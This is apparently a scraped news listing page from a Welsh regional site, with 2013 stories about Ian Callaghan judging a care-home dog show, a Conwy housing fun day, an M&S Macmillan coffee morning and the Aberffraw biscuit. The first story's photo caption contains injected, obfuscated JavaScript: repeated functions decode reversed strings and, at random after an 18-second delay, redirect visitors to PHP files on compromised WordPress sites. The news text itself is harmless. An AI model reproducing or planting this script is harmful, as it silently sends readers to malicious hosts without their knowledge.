Category: News

It’s a dog’s life for Liverpool FC legend

PENDINE PARK WREXHAM HOLD A DOG SHOW JUDGED BY IAN CALLAHAN . Pictured is Ian Callahan with the winning dog, Oscar, Kath Roberts, Daycare Manager with the runner up ,Penny and Jim Donaldson, Chairman of Childrens charity Variety with Nelson who $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}took third place.

A record-breaking Liverpool football legend was the top dog at a care home.

Ian Callaghan MBE, 71, was one of the judges at a dog show at the Bodlondeb care home at Pendine Park in Wrexham.

The former England international, who made a record 857 appearances for Liverpool FC,  regularly visits Bodlondeb to see a close friend.

Right-winger Ian played under the iconic Liverpool manager Bill Shankly who transformed the club from being Second Division no hopers into champions in the 60s and 70s.

A Liverpool supporter as a child, Ian joined the club as an apprentice in 1960 and made his debut on 16 April in a 4–0 win against  Bristol Rovers at Anfield.

Ian was one of four England players to play for England in the 1966 World Cup tournament without playing in the final itself.

Only the 11 players on the pitch at the end of the 4–2 win over West Germany received medals.

Following a campaign led by the Football Association to persuade FIFA  award medals to all the winners’ squad members, Ian  was presented with his medal by Gordon Brown at a ceremony at 10 Downing Street in 2009.

In 1976, at the age of 34, he played in Bob Paisley’s side which won a League and UEFA Cup double. He played in all the European matches and missed just two league games.

In the autumn of 1978, Ian finally left Liverpool and joined his former Anfield team mate John Toshack at Swansea City, helping them to two consecutive promotions.

Still revered by the Anfield faithful, he was voted in at No.15 in the ’100 Players Who shook The Kop’ poll in the summer of 2006.

Speaking just after the centenary of Shankly’s birth, Ian said: “When you speak to anyone in the world and you mention Liverpool, the conversation always comes down to two things: The Beatles and Liverpool Football Club.

“That’s because of Shanks.

“People see this huge club. LFC. But what must be remembered is that he built it all up from nothing.

“When Shanks became manager in 1959 we were a Second Division club going absolutely nowhere.

“Two years later we were promoted, two years after that we were champions of England and, in 1965, Liverpool won the FA Cup for the first time.

“We were champions again the following year. Shanks loved that. He lived to win trophies.”

Ian insists Shankly would have been just as great in the modern era.

He revealed he had once bought a Yorkshire Terrier for his daughters  and called it Smudge – the nickname of his team mate Tommy Smith, the hard as nails centre half.

He said:“I thought that’s a good name for a dog, and Tommy was certainly a terrier the way he played.”

The dogs on show belonged to relatives of the residents and staff members at Pendine Park.

After careful deliberation Ian, alongside fellow judges, day care manager at Bodlondeb Kath Roberts, and chairman of children’s charity Variety, Jim Donaldson, he picked Oscar as the winner – a three-year-old Llahsa Apsa.

Jim said: “It was difficult to pick the winner because there were so many beautiful dogs, they really are.”

“Oscar’s a lovely looking dog, well behaved and very disciplined.

Ian added:  “I think Bodlondeb is a terrific place. This place is absolutely fantastic I think. It’s modern, there’s plenty of staff, and people seem to be fantastically well looked after.”

Jim, who’s charity Variety supports disenfranchised children, enjoyed every minute of the dog show.

He said: “That was great. I love animals, and I love dogs in particular. All the dogs were great – really well behaved. Kath asked us a couple of weeks ago if we could come and help today, and we were delighted to come.

“I think Pendine is fabulous. It’s a great place, it really is. It’s well run. The staff look after the residents really well, and they do a good job. It’s clean, and it’s a good home for the people who belong here. They put on a lot of things like the dog show.

Kath said: ““There were some beautiful dogs here. Everyone’s a winner. I love it. It’s very important for the residents that we put on things like this.

“You look around and you see their faces. You’ve only got to look at their eyes and you can tell it’s made a difference. It’s really rewarding.

“Pendine Park is an animal friendly place. As part of our enrichment programme, pet therapy is a very important part of what we do.”

Monday September 16th, 2013

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On yer bike at Conwy at fun day

Cartrefi Conwy Fun Day. Sponsored cyclists Keira Vogel, Owen Veldhuizen and Adam Parkhouse.

Tenants and staff of a housing association have launched a campaign to raise much needed funds for a hospice.

They embarked on a marathon sponsored bike ride in aid of St David’s Hospice, in Llandudno, at Cartrefi Conwy’s annual fun day at Eirias Events Centre at Eirias Park in Colwyn Bay.

The team cycled all the way from Chester to Holyhead without leaving the events arena as they pedalled furiously on exercise bikes to complete the 108-mile trip following the North Wales cycle route.

The fun day attended by hundreds of tenants from across the county was hailed as one of the best ever as Cartrefi Conwy prepares to celebrate its fifth anniversary.

This year’s event had four fun filled themed zones full of information and activities based around health and wellbeing, digital inclusion, life skills, training and employment an how to make every pound count.

Among those taking part in the sponsored bike ride was Keira Vogel, Cartrefi Conwy’s Head of Maintenance, who managed 16 kilometres in half an hour..

She said: “As well as raising money for St David’s Hospice in Llandudno which is our chosen charity this year, we’re promoting the importance of health and well-being.

“Half an hour of exercise a day can help people stay fit and well so we’ve also got a raffle and the prizes include six months’ free membership of the Conwy Ffit scheme which includes access to five fitness suite, four swimming pools, over 100 aerobic classes and 10 leisure centres.

“Other prizes donated by sponsors included high street shop vouchers,  food hampers, Venue Cymru meal and theatre tickets and the latest Kindle Fire HD which was won by a delighted Jake Carey of Llandudno.”

The tenants were treated to a feast of activities and entertainment, including a display from a talented troupe of street dancers, Autonomy, from Colwyn Bay.

They had just returned from Glasgow where they reached the final of the United Dance Organisation World Championships.

It was a major achievement for the young hip hop dance group which was formed just 12 months ago.

It was a proud moment for dancer Isla Davies, 16, from Rhos on Sea, who was delighted they’d been given the opportunity to strut their stuff closer to home.

She explained:  “We’re all dancers from Step One performing arts school and we were thrilled to reach the final of the world championship bearing in mind we’ve only been together as a group for a year.”

Choreographer Jess Childs added: “It’s a huge achievement. Everyone’s done us really proud in the group, they work really well as a team.”

There was a display of a different kind by some green-fingered tenants from the Parc Peulwys estate in Llysfaen.

The have enrolled on a horticultural course and have been working hard in the perfect classroom – their own gardens.

The project is part of a £1.1 million environmental scheme at the Parc Peulwys estate.

At the fun day they were demonstrating how to put create floral displays in pots and hanging baskets.

Tutor Christine Joynson, from Llandrillo College, said: “The skills they are learning will help to brighten up the estate.”

Among the students working towards an NOCN Level One qualification in horticulture is tenant Tracie Rosean, who lives on the estate.

She said:  “Chris is fantastic and my garden is looking a lot better. It’s also very sociable and I’ve made new friends.”

Tenant Jenny Dallaway, 32, from Glan Conwy, was there with her children, Isabella, nine, Georgina, six,, and Benjamin, two.”

She said: “We’re having a lovely day. The kids are having a good time.”

Fellow tenant Eddie Barker, from Colwyn Bay, made a new friend – a six foot long Salmon Boa snake.

Eddie draped the slithery creature around his neck when he paid a visit to see the Animals Out of the Box stand at the fun day.

He said: “I’ve held a few very small snakes before, but it’s the first time I’ve had a larger snake around my neck – as long as he’s had his lunch I don’t mind!”

John Roberts, Chair of the Tenant’s Forum, said the fun day was the best year.

He added: “There are plenty of things for the kids to do, and the tenants can get help and information here as well. I’m very pleased.”

According to Andrew Bowden, the Chief Executive of Cartrefi Conwy, it was a very important day for the housing association.

“We have been in existence five years and I am proud of what we have achieved in that time, not least bringing up every single one of our 3,800 properties up to Welsh Housing Quality Standard ahead of the deadline set by the Welsh Government.

“Having a community fun day is also part of our commitment to tenants, to enable them to have fun for all the family but also to provide a one-stop shop for information and advice for those who need it.

“It is an opportunity for the tenants to meet and talk to our staff outside the day job and the important part is to ensure that our customers feel they have an opportunity to change and influence the organisation and get involved in the activities of Cartrefi Conwy.

“Our vision statement is about creating communities to be proud of and days like to today are a great way of showing we are a company that’s here to stay and that we are rooted in our communities across Conwy.”

Friday September 13th, 2013

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M&S host MacMillan coffee morning to remember loved ones lost to cancer

Ruth Hart, right and Jo Gale at the cafe in M&S at the Darwin Centre, Shrewsbury prepare for the MacMillan 'World's Biggest Coffe Morning'

The world’s biggest coffee morning later this month has a special resonance for staff at Marks and Spencers in Shrewsbury’s Darwin Centre who have lost loved ones to cancer.

The nationwide event in aid of MacMillan Nurses will see coffee mornings held throughout the UK and it will be special for many of the M&S staff, including Ruth Hart, Food Commercial Manager at the store.

Ruth lost a sister, Lorna, and a cousin, Dame Sheila McKechnie OBE, former head of homeless charity Shelter and the Consumer Association, to the disease and both were cared for by MacMillan Nurses.

She said: “We have over 150 people working here at M&S in the Darwin Centre and so many of us have cause to be grateful to MacMillan Nurses which is why we want this to be the biggest event we’ve ever done.

“This is the fourth year running we’ve held a Coffee Morning here and M&S is an official partner for the event which takes place on Friday, September 27, with 50p from every coffee sold going to MacMillan Nurses locally.

“But we will have special items on sale in support of the fund-raising right through to October 2 and our staff will be holding bring and buy and other activities, including a special recipe book, to boost the amount raised.”

Ruth, from Pontfadog, near Oswestry, is the Regional Champion for M&S for 18 stores across Shripshire, Merseyside, Cheshire and North Wales, and she says she is just one of many people who have been touched by the disease.

She said: “There are several people here who have lost relatives and friends to cancer – our manager, Martin Woodhouse, lost both his parents.

“My sister Lorna was only 55. She had breast cancer and within a year of being diagnosed she was dead and so was my cousin, Sheila McKechnie, the following year.

“They were both looked after by MacMillan and the job they do is fantastic and so worthwhile. They are a fantastic charity and we’re delighted to be able to support them and we’re determined to make this our best Coffee Morning ever.”

Kevin Lockwood, Manager of the Darwin, Pride Hill and Riverside Shopping Centres, said: “Staff at M&S here in Shrewsbury really throw themselves into their charity work and I’m sure with Ruth in charge this will be another successful event.

“Earlier this summer the store took part in a series of fund-raising activities for cancer charities and they were given a target of £1,000 to raise but they set their own target of £2,000 – they ended up raising over £5,000.

“They are always doing something and have a very active Sport and Social Club which is at the hub of their charity work.”

Thursday September 12th, 2013

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Ancient biscuit gets seal of approval from baking maestro Paul Hollywood

Llangollen Food Festival, newcomer James Shepherd and his wife Natasha have started Aberffraw Biscuits.

The revival of Britain’s oldest biscuit is a hit with TV baking maestro Paul Hollywood.

James Shepherd and his wife, Natasha, have set up a company to make the historic Aberffraw Biscuit which was first baked in the Anglesey village of the same name 800 years ago.

The tasty scallop-shaped biscuit was subjected to a taste test on the One Show, the popular magazine show presented by Alex Jones and Matt Baker.

Doing the testing was Paul Hollywood, the star of the Great British Bake Off.

The TV heart-throb said the Aberffraw Biscuits were “really good” and perfect for dunking.

The biscuits will be launched at the new products section of Hamper Llangollen, the 16th Llangollen food and drink festival on October 19-20, which is now officially one of the UK’s top 10 food festivals.

The couple have taken the basic ancient shortbread recipe and use only premium Welsh ingredients to produce a very moreish biscuit in a variety of flavours.

James, originally from Llandudno, and Natasha, a Welsh-speaker from Trefriw, met at Leicester University, married 10 years ago and have two children Rowan, seven, and Jasmine, five, both pupils at Ysgol Bro Aled in Llansannan.

While Natasha continues to work part-time for a governmental agency, James – whose background is in journalism – is developing Aberffraw Biscuit Company and is co-founder of Yoller, a web design and digital marketing agency.

James was thrilled that Paul Hollywood was so impressed with their Aberffraw Biscuits.

He said: “Paul is one of the biggest names in British baking so to win his seal of approval is massive for us.

“The response to the Aberffraw Biscuit has been absolutely brilliant – we’ve had loads and loads of enquiries which we’re hopeful of coverting into sales.”

An enthusiastic home cook and amateur baker, James makes the biscuits and even designs the packaging.

Along the way he has received plenty of expert help. “I was introduced to the founder of Patchwork Pate, Margaret Carter from Ruthin, who does brilliant work mentoring young entrepreneurs.

“Then I was introduced to Roberet Price at the rural development agency Cadwyn Clwyd and he put me in touch Coleg Menai’s food technology centre at Llangefni and now I’m looking at rural business support grants.”

“From the start we wanted everything to be as authentic as possible, from the unique stamp for the scallop shape of the biscuit to the ingredients which include Calon Wen organic butter and Bacheldre Mill stoneground organic unbleached flour.

“The biscuit has a great marketing story. When you think about it all the gift shops and tourist shops in North Wales all seem to sell Scottish shortbread and I would just like to get them out and the Aberffraw in.

The Aberffraw biscuit (or sometimes Aberffraw cake) and is said to originate from 13th Century Anglesey.

Legend has it that a Welsh king was holding court in Aberffraw and his wife was walking on the beach there and, spotting a pretty scallop shell, asked for a cake to be baked in the same form.

A far more realistic source for the biscuit was the famous pilgrimage to Santiago de Compostela.

This pilgrimage to the church of St James in Galicia, north western Spain, began in about the 8th Century with pilgrims wearing badges on their hat in the shape of a scallop shell.

It’s for this reason Aberffraw biscuits are sometimes also called James cakes. Under the patronage of King Gruffudd ap Cynan (1075-1137) or his son and successor Owain Gwynedd (1137-70), a stone church was built at Aberffraw with Romanesque features similar to 12th Century churches on the pilgrimage route to Santiago de Compostela.

This building is the final link to the scallop shell of St James pilgrims and the small Welsh village of Aberffraw.

The Aberffraw biscuit also appeared in the famous Cassell’s Dictionary of Cookery in 1892.

Cadwyn Clwyd’s contribution to Hamper Llangollen comes via the Rural Development Fund for Wales 2007-2013, which is funded by the European Agricultural Fund for Rural Development (EAFRD) and the Welsh Government.

Robert Price said: “One of the main aims of the festival is to provide a show window for our wonderful array of food producers.

“This year we have decided to have a special section devoted to new products like the Aberffraw Biscuit so that we can showcase what they have to offer.”

Check out Aberffraw biscuits at www.aberffrawbiscuits.com and Hamper Llangollen at www.llangollenfoodfestival.com

Tuesday September 10th, 2013

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